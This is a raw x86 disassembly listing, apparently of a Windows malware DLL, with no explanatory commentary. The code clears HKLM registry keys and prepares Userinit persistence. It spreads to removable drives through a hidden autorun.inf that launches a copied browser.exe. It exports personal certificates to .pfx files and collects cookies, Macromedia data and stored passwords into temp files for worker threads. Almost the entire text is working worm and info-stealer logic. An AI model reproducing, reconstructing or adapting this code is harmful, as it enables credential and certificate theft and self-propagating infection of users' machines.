		add	esp, 0Ch
		push	eax		; lpSubKey
		push	80000002h	; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_1000BCE5


loc_1000BC9B:				; CODE XREF: sub_1000B7EF+4F4j
		push	0		; lpftLastWriteTime
		push	0		; lpcchClass
		push	0		; lpClass
		push	0		; lpReserved
		lea	edx, [ebp+cchName]
		push	edx		; lpcchName
		lea	eax, [ebp+SubKey]
		push	eax		; lpName
		mov	ecx, [ebp+dwIndex]
		push	ecx		; dwIndex
		mov	edx, [ebp+phkResult]
		push	edx		; hKey
		call	ds:RegEnumKeyExA	; RegEnumKeyExA
		test	eax, eax
		jnz	short loc_1000BCE5
		lea	eax, [ebp+SubKey]
		push	eax		; lpSubKey
		mov	ecx, [ebp+phkResult]
		push	ecx		; hKey
		call	ds:RegDeleteKeyA	; RegDeleteKeyA
		mov	[ebp+var_4C94],	eax
		jmp	short loc_1000BC9B
; ---------------------------------------------------------------------------


loc_1000BCE5:				; CODE XREF: sub_1000B7EF+4AAj
					; sub_1000B7EF+4D8j
		lea	edx, [ebp+phkResult]
		push	edx		; phkResult
		push	0F003Fh		; samDesired
		push	0		; ulOptions
		push	offset dword_10034264 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022048
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpSubKey
		push	80000002h	; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_1000BD39
		lea	edx, [ebp+var_4978]
		push	edx
		push	offset aSuserinit_exe ;	"%suserinit.exe,"
		lea	eax, [ebp+SubKey]
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch


loc_1000BD39:				; CODE XREF: sub_1000B7EF+52Cj
		mov	[ebp+var_4474],	0
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp+var_4473]
		rep stosd
		mov	[ebp+Memory], 0
		mov	ecx, 0FFFh
		xor	eax, eax
		lea	edi, [ebp+var_4028]
		rep stosd
		mov	[ebp+Filename],	0
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp+var_4343]
		rep stosd
		mov	[ebp+var_2C], 0
		mov	ecx, 7
		xor	eax, eax
		lea	edi, [ebp+var_2B]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_4348],	0
		push	offset aCopyfilea ; "CopyFileA"
		push	offset aKernel32 ; "kernel32"
		call	ds:LoadLibraryA	; LoadLibraryA
		push	eax		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	dword_1006A8FC,	eax
		call	ds:GetLogicalDrives	; GetLogicalDrives
		mov	[ebp+var_4C84],	eax
		mov	[ebp+var_4478],	2
		jmp	short loc_1000BDDE
; ---------------------------------------------------------------------------


loc_1000BDCF:				; CODE XREF: sub_1000B7EF:loc_1000BF6Bj
		mov	ecx, [ebp+var_4478]
		add	ecx, 1
		mov	[ebp+var_4478],	ecx


loc_1000BDDE:				; CODE XREF: sub_1000B7EF+5DEj
		cmp	[ebp+var_4478],	20h
		jge	loc_1000BF70
		mov	edx, 1
		mov	ecx, [ebp+var_4478]
		shl	edx, cl
		mov	eax, [ebp+var_4C84]
		and	eax, edx
		test	eax, eax
		jz	loc_1000BF6B
		mov	[ebp+RootPathName], 0
		mov	ecx, 0Fh
		xor	eax, eax
		lea	edi, [ebp+var_4DDB]
		rep stosd
		stosw
		stosb
		mov	ecx, [ebp+var_4478]
		add	ecx, 61h
		mov	[ebp+var_4D98],	cl
		movsx	edx, [ebp+var_4D98]
		push	edx
		push	offset aC_1	; "%c:\\"
		lea	eax, [ebp+RootPathName]
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		lea	ecx, [ebp+RootPathName]
		push	ecx		; lpRootPathName
		call	ds:GetDriveTypeA	; GetDriveTypeA
		mov	[ebp+var_4DE0],	eax
		cmp	[ebp+var_4DE0],	2
		jnz	loc_1000BF6B
		lea	edx, [ebp+RootPathName]
		push	edx
		push	offset aSautorun_inf ; "%sautorun.inf"
		lea	eax, [ebp+Buffer]
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	ecx, [ebp+Buffer]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hFile], eax
		cmp	[ebp+hFile], 0FFFFFFFFh
		jz	loc_1000BF6B
		push	0		; lpOverlapped
		lea	edx, [ebp+NumberOfBytesWritten]
		push	edx		; lpNumberOfBytesWritten
		push	1Dh		; nNumberOfBytesToWrite
		push	offset aAutorunOpenBro ; "[autorun]\r\nopen=browser.exe\r\n"
		mov	eax, [ebp+hFile]
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile
		mov	ecx, [ebp+hFile]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle
		push	7		; dwFileAttributes
		lea	edx, [ebp+Buffer]
		push	edx		; lpFileName
		call	ds:SetFileAttributesA	; SetFileAttributesA
		push	0FFh		; uSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		lea	ecx, [ebp+RootPathName]
		push	ecx		; lpString2
		lea	edx, [ebp+String1]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset aBrowser_exe ; "browser.exe"
		lea	eax, [ebp+String1]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_100220C0
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpString2
		lea	eax, [ebp+Buffer]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	0
		lea	ecx, [ebp+String1]
		push	ecx
		lea	edx, [ebp+Buffer]
		push	edx
		call	dword_1006A8FC	; CopyFileA
		push	7		; dwFileAttributes
		lea	eax, [ebp+String1]
		push	eax		; lpFileName
		call	ds:SetFileAttributesA	; SetFileAttributesA


loc_1000BF6B:				; CODE XREF: sub_1000B7EF+613j
					; sub_1000B7EF+678j ...
		jmp	loc_1000BDCF
; ---------------------------------------------------------------------------


loc_1000BF70:				; CODE XREF: sub_1000B7EF+5F6j
		push	0FFh		; uSize
		lea	ecx, [ebp+FileName]
		push	ecx		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	offset aMmd109en_dat ; "\\mmd109en.dat"
		lea	edx, [ebp+FileName]
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jnz	loc_1000C674
		mov	[ebp+var_4134],	0


loc_1000BFCD:				; CODE XREF: sub_1000B7EF+8CCj
		mov	ecx, [ebp+var_4134]
		cmp	dword_1005FED8[ecx*4], 0
		jz	loc_1000C0C0
		cmp	[ebp+var_4134],	1000h
		jnb	loc_1000C0C0
		push	4008h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	lpParameter, eax
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	dword_10057ED8,	eax
		push	0FFh		; Size
		push	0		; Val
		mov	edx, dword_10057ED8
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	1000h		; Size
		push	offset dword_10057ED8 ;	Src
		mov	eax, lpParameter
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	ecx, lpParameter
		mov	dword ptr [ecx+4004h], 3
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, lpParameter
		mov	[edx+4000h], eax
		mov	eax, [ebp+var_4134]
		mov	ecx, dword_1005FED8[eax*4]
		push	ecx		; Source
		mov	edx, lpParameter
		mov	eax, [edx+4000h]
		push	eax		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	ecx, lpParameter
		push	ecx		; lpParameter
		push	offset sub_1000B027 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		mov	edx, [ebp+var_4134]
		add	edx, 1
		mov	[ebp+var_4134],	edx
		jmp	loc_1000BFCD
; ---------------------------------------------------------------------------


loc_1000C0C0:				; CODE XREF: sub_1000B7EF+7ECj
					; sub_1000B7EF+7FCj
		push	8000h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+Dest], eax
		push	8000h		; Size
		push	0		; Val
		mov	eax, [ebp+Dest]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	sub_100020B5
		add	esp, 4
		mov	[ebp+Dest], eax
		mov	[ebp+var_4134],	0


loc_1000C0FD:				; CODE XREF: sub_1000B7EF+939j
		mov	edx, [ebp+var_4134]
		cmp	dword_1004B770[edx*4], 0
		jz	short loc_1000C12A
		cmp	[ebp+var_4134],	1000h
		jnb	short loc_1000C12A
		mov	eax, [ebp+var_4134]
		add	eax, 1
		mov	[ebp+var_4134],	eax
		jmp	short loc_1000C0FD
; ---------------------------------------------------------------------------


loc_1000C12A:				; CODE XREF: sub_1000B7EF+91Cj
					; sub_1000B7EF+928j
		push	310h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_4134]
		mov	dword_1004B770[ecx*4], eax
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022050
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_15	; "%s%s"
		lea	ecx, [ebp+String2]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		mov	eax, [ebp+var_4134]
		mov	ecx, dword_1004B770[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+var_4134]
		mov	eax, dword_1004B770[edx*4]
		mov	ecx, [ebp+Dest]
		mov	[eax+100h], ecx
		mov	edx, [ebp+Dest]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		mov	ecx, [ebp+var_4134]
		mov	edx, dword_1004B770[ecx*4]
		mov	[edx+104h], eax
		push	offset byte_100739AC ; lpString2
		mov	eax, [ebp+var_4134]
		mov	ecx, dword_1004B770[eax*4]
		add	ecx, 108h
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset byte_10065ED8
		push	offset aS__ps_txt ; "%s__PS.txt"
		mov	edx, [ebp+var_4134]
		mov	eax, dword_1004B770[edx*4]
		add	eax, 207h
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		mov	ecx, [ebp+var_4134]
		mov	edx, dword_1004B770[ecx*4]
		mov	eax, [ebp+var_4134]
		mov	[edx+308h], eax
		mov	ecx, [ebp+var_4134]
		mov	edx, dword_1004B770[ecx*4]
		mov	dword ptr [edx+30Ch], 0
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	eax, [ebp+var_4134]
		mov	ecx, dword_1004B770[eax*4]
		push	ecx		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		mov	dword_10034234,	0
		push	400h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, dword_10034234
		mov	lpBuffer[edx*4], eax
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	dword_10053DD8,	eax
		push	offset a_pfx_0	; ".pfx"
		mov	eax, dword_10053DD8
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset dword_100739B0
		push	offset dword_100739B4
		push	offset aMy_0	; "MY"
		call	sub_1000E66B
		add	esp, 0Ch
		mov	ecx, hModule
		push	ecx		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary
		mov	edx, dword_10034234
		mov	eax, lpBuffer[edx*4]
		push	eax		; lpBuffer
		push	0FFh		; nBufferLength
		call	ds:GetTempPathA	; GetTempPathA
		push	5Ch		; Ch
		mov	ecx, dword_10034234
		mov	edx, lpBuffer[ecx*4]
		push	edx		; Str
		call	ds:strrchr	; strrchr
		add	esp, 8
		mov	byte ptr [eax],	0
		push	offset dword_10034264 ;	Dest
		mov	eax, off_10022030
		push	eax		; int
		mov	ecx, off_10022050
		push	ecx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_16	; "%s%s"
		lea	edx, [ebp+String2]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		push	0		; dwMilliseconds
		lea	eax, [ebp+String2]
		push	eax		; lpString2
		push	1		; int
		push	offset dword_10053DD8 ;	int
		mov	ecx, dword_10034234
		mov	edx, lpBuffer[ecx*4]
		push	edx		; Str
		call	sub_10007B34
		add	esp, 14h
		mov	eax, dword_10053DD8
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	dword_10053DD8,	0
		push	0		; Str2
		call	sub_1000E866
		add	esp, 4
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_10022050
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_17	; "%s%s"
		lea	eax, [ebp+String2]
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		mov	dword_100281F0,	0
		push	105h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, dword_100281F0
		mov	Dest[ecx*4], eax
		push	105h		; Size
		push	0		; Val
		mov	edx, dword_100281F0
		mov	eax, Dest[edx*4]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0
		push	1Ah
		lea	ecx, [ebp+var_4474]
		push	ecx
		push	0
		call	dword_1006A8F4	; SHGetSpecialFolderPathA
		lea	edx, [ebp+Filename]
		push	edx		; lpBuffer
		push	0FFh		; nBufferLength
		call	ds:GetTempPathA	; GetTempPathA
		push	offset aMed23ru17_tmp ;	"med23ru17.tmp"
		lea	eax, [ebp+Filename]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		lea	ecx, [ebp+var_4474]
		push	ecx
		push	offset aSMacromedia ; "%s\\Macromedia"
		mov	edx, dword_100281F0
		mov	eax, Dest[edx*4]
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		push	0		; dwMilliseconds
		lea	ecx, [ebp+Memory]
		push	ecx		; int
		mov	edx, dword_100281F0
		mov	eax, Dest[edx*4]
		push	eax		; int
		call	sub_100071C0
		add	esp, 0Ch
		lea	ecx, [ebp+Memory]
		push	ecx		; int
		lea	edx, [ebp+Filename]
		push	edx		; Filename
		call	sub_1001AE00
		add	esp, 8


loc_1000C487:				; CODE XREF: sub_1000B7EF+CF3j
		mov	eax, [ebp+var_4348]
		cmp	[ebp+eax*4+Memory], 0
		jbe	short loc_1000C4E4
		mov	ecx, [ebp+var_4348]
		mov	edx, [ebp+ecx*4+Memory]
		push	edx		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA
		mov	eax, [ebp+var_4348]
		mov	ecx, [ebp+eax*4+Memory]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, [ebp+var_4348]
		mov	[ebp+edx*4+Memory], 0
		mov	eax, [ebp+var_4348]
		add	eax, 1
		mov	[ebp+var_4348],	eax
		jmp	short loc_1000C487
; ---------------------------------------------------------------------------


loc_1000C4E4:				; CODE XREF: sub_1000B7EF+CA6j
		mov	[ebp+var_4348],	0


loc_1000C4EE:				; CODE XREF: sub_1000B7EF+D2Aj
		mov	ecx, [ebp+var_4348]
		cmp	dword_1004B770[ecx*4], 0
		jz	short loc_1000C51B
		cmp	[ebp+var_4348],	1000h
		jge	short loc_1000C51B
		mov	edx, [ebp+var_4348]
		add	edx, 1
		mov	[ebp+var_4348],	edx
		jmp	short loc_1000C4EE
; ---------------------------------------------------------------------------


loc_1000C51B:				; CODE XREF: sub_1000B7EF+D0Dj
					; sub_1000B7EF+D19j
		push	310h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_4348]
		mov	dword_1004B770[ecx*4], eax
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022050
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_18	; "%s%s"
		lea	ecx, [ebp+String2]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		mov	eax, [ebp+var_4348]
		mov	ecx, dword_1004B770[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+var_4348]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+100h], 0
		mov	ecx, [ebp+var_4348]
		mov	edx, dword_1004B770[ecx*4]
		mov	dword ptr [edx+104h], 0
		lea	eax, [ebp+Filename]
		push	eax		; lpString2
		mov	ecx, [ebp+var_4348]
		mov	edx, dword_1004B770[ecx*4]
		add	edx, 108h
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset byte_10065ED8
		push	offset aS__macromed ; "%s__macromed"
		mov	eax, [ebp+var_4348]
		mov	ecx, dword_1004B770[eax*4]
		add	ecx, 207h
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		mov	edx, [ebp+var_4348]
		mov	eax, dword_1004B770[edx*4]
		mov	ecx, [ebp+var_4348]
		mov	[eax+308h], ecx
		mov	edx, [ebp+var_4348]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+30Ch], 1
		mov	ecx, [ebp+var_4348]
		mov	edx, dword_1004B770[ecx*4]
		push	edx		; LPVOID
		call	StartAddress
		test	eax, eax
		jz	short loc_1000C672
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	1		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hFile], eax
		cmp	[ebp+hFile], 0FFFFFFFFh
		jz	short loc_1000C672
		mov	ecx, [ebp+hFile]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000C672:				; CODE XREF: sub_1000B7EF+E52j
					; sub_1000B7EF+E77j
		jmp	short loc_1000C681
; ---------------------------------------------------------------------------


loc_1000C674:				; CODE XREF: sub_1000B7EF+7CEj
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000C681:				; CODE XREF: sub_1000B7EF:loc_1000C672j
		push	0FFh		; uSize
		lea	eax, [ebp+FileName]
		push	eax		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	offset aCok458en_dat ; "\\cok458en.dat"
		lea	ecx, [ebp+FileName]
		push	ecx		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	edx, [ebp+FileName]
		push	edx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		cmp	[ebp+hObject], 0FFFFFFFFh
		jnz	loc_1000C9C2
		mov	[ebp+var_4348],	0
		push	105h		; Size
		push	0		; Val
		mov	eax, dword_100281F0
		mov	ecx, Dest[eax*4]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	dword_100281F0,	0
		lea	edx, [ebp+Filename]
		push	edx		; lpBuffer
		push	0FFh		; nBufferLength
		call	ds:GetTempPathA	; GetTempPathA
		push	offset aCok37qa93_tmp ;	"cok37qa93.tmp"
		lea	eax, [ebp+Filename]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	ecx, [ebp+Filename]
		push	ecx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+var_4EE4],	eax
		cmp	[ebp+var_4EE4],	0FFFFFFFFh
		jnz	loc_1000C805
		push	0
		push	21h
		mov	edx, dword_100281F0
		mov	eax, Dest[edx*4]
		push	eax
		push	0
		call	dword_1006A8F4	; SHGetSpecialFolderPathA
		push	0		; dwMilliseconds
		lea	ecx, [ebp+Memory]
		push	ecx		; int
		mov	edx, dword_100281F0
		mov	eax, Dest[edx*4]
		push	eax		; int
		call	sub_100071C0
		add	esp, 0Ch
		lea	ecx, [ebp+Memory]
		push	ecx		; int
		lea	edx, [ebp+Filename]
		push	edx		; Filename
		call	sub_1001AE00
		add	esp, 8


loc_1000C7A6:				; CODE XREF: sub_1000B7EF+1012j
		mov	eax, [ebp+var_4348]
		cmp	[ebp+eax*4+Memory], 0
		jbe	short loc_1000C803
		mov	ecx, [ebp+var_4348]
		mov	edx, [ebp+ecx*4+Memory]
		push	edx		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA
		mov	eax, [ebp+var_4348]
		mov	ecx, [ebp+eax*4+Memory]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, [ebp+var_4348]
		mov	[ebp+edx*4+Memory], 0
		mov	eax, [ebp+var_4348]
		add	eax, 1
		mov	[ebp+var_4348],	eax
		jmp	short loc_1000C7A6
; ---------------------------------------------------------------------------


loc_1000C803:				; CODE XREF: sub_1000B7EF+FC5j
		jmp	short loc_1000C812
; ---------------------------------------------------------------------------


loc_1000C805:				; CODE XREF: sub_1000B7EF+F62j
		mov	ecx, [ebp+var_4EE4]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000C812:				; CODE XREF: sub_1000B7EF:loc_1000C803j
		mov	[ebp+var_4348],	0


loc_1000C81C:				; CODE XREF: sub_1000B7EF+1058j
		mov	edx, [ebp+var_4348]
		cmp	dword_1004B770[edx*4], 0
		jz	short loc_1000C849
		cmp	[ebp+var_4348],	1000h
		jge	short loc_1000C849
		mov	eax, [ebp+var_4348]
		add	eax, 1
		mov	[ebp+var_4348],	eax
		jmp	short loc_1000C81C
; ---------------------------------------------------------------------------


loc_1000C849:				; CODE XREF: sub_1000B7EF+103Bj
					; sub_1000B7EF+1047j
		push	310h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_4348]
		mov	dword_1004B770[ecx*4], eax
		push	offset dword_10034264 ;	Dest
		mov	edx, off_10022030
		push	edx		; int
		mov	eax, off_10022050
		push	eax		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax
		push	offset byte_1006A924
		push	offset aSS_19	; "%s%s"
		lea	ecx, [ebp+String2]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		mov	eax, [ebp+var_4348]
		mov	ecx, dword_1004B770[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+var_4348]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+100h], 0
		mov	ecx, [ebp+var_4348]
		mov	edx, dword_1004B770[ecx*4]
		mov	dword ptr [edx+104h], 0
		lea	eax, [ebp+Filename]
		push	eax		; lpString2
		mov	ecx, [ebp+var_4348]
		mov	edx, dword_1004B770[ecx*4]
		add	edx, 108h
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	offset byte_10065ED8
		push	offset aS__cookies ; "%s__cookies"
		mov	eax, [ebp+var_4348]
		mov	ecx, dword_1004B770[eax*4]
		add	ecx, 207h
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		mov	edx, [ebp+var_4348]
		mov	eax, dword_1004B770[edx*4]
		mov	ecx, [ebp+var_4348]
		mov	[eax+308h], ecx
		mov	edx, [ebp+var_4348]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+30Ch], 1
		mov	ecx, [ebp+var_4348]
		mov	edx, dword_1004B770[ecx*4]
		push	edx		; LPVOID
		call	StartAddress
		test	eax, eax
		jz	short loc_1000C9A9
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	1		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	eax, [ebp+FileName]
		push	eax		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+var_4EE4],	eax
		cmp	[ebp+var_4EE4],	0FFFFFFFFh
		jz	short loc_1000C9A9
		mov	ecx, [ebp+var_4EE4]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000C9A9:				; CODE XREF: sub_1000B7EF+1180j
					; sub_1000B7EF+11ABj
		mov	edx, dword_100281F0
		mov	eax, Dest[edx*4]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		jmp	short loc_1000C9CF
; ---------------------------------------------------------------------------


loc_1000C9C2:				; CODE XREF: sub_1000B7EF+EDFj
		mov	ecx, [ebp+hObject]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000C9CF:				; CODE XREF: sub_1000B7EF+11D1j
		mov	eax, 1


loc_1000C9D4:				; CODE XREF: sub_1000B7EF+197j
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_1000B7EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000C9DC	proc near		; CODE XREF: DllMain(x,x,x):loc_10013957p

FileName	= byte ptr -17Ch
var_17B		= byte ptr -17Bh
Dst		= dword	ptr -7Ch
var_6C		= dword	ptr -6Ch
var_65		= byte ptr -65h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_61		= byte ptr -61h
String1		= byte ptr -60h
lf		= LOGFONTA ptr -40h
hObject		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 17Ch
		push	edi
		mov	[ebp+FileName],	0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_17B]
		rep stosd
		stosw
		push	0FFFFFFh	; color
		call	ds:CreateSolidBrush	; CreateSolidBrush
		mov	hbr, eax
		push	3Ch		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+Dst], 0Dh
		mov	[ebp+var_6C], 2BCh
		mov	[ebp+var_65], 0
		mov	[ebp+var_64], 3
		mov	[ebp+var_63], 2
		mov	[ebp+var_62], 2
		mov	[ebp+var_61], 22h
		push	offset aTimesNewRoman ;	"Times New Roman"
		lea	ecx, [ebp+String1]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		lea	edx, [ebp+Dst]
		push	edx		; lplf
		call	ds:CreateFontIndirectA	; CreateFontIndirectA
		mov	dword_1006A91C,	eax
		push	3Ch		; Size
		push	0		; Val
		lea	eax, [ebp+lf]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+lf.lfHeight], 13h
		mov	[ebp+lf.lfWeight], 2BCh
		mov	[ebp+lf.lfCharSet], 0
		mov	[ebp+lf.lfOutPrecision], 3
		mov	[ebp+lf.lfClipPrecision], 2
		mov	[ebp+lf.lfQuality], 2
		mov	[ebp+lf.lfPitchAndFamily], 22h
		push	offset aTimesNewRoma_0 ; "Times	New Roman"
		lea	ecx, [ebp+lf.lfFaceName]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		lea	edx, [ebp+lf]
		push	edx		; lplf
		call	ds:CreateFontIndirectA	; CreateFontIndirectA
		mov	dword_1006A920,	eax
		push	0		; Time
		call	ds:time	; time
		add	esp, 4
		push	eax		; Seed
		call	ds:srand	; srand
		add	esp, 4
		push	0FFh		; uSize
		lea	eax, [ebp+FileName]
		push	eax		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		push	offset aKernel32_dll ; "\\kernel32.dll"
		lea	ecx, [ebp+FileName]
		push	ecx		; Dest
		call	strcat	; strcat
		add	esp, 8
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	0		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	edx, [ebp+FileName]
		push	edx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		push	0		; lpLastWriteTime
		push	0		; lpLastAccessTime
		push	offset CreationTime ; lpCreationTime
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:GetFileTime	; GetFileTime
		mov	ecx, [ebp+hObject]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle
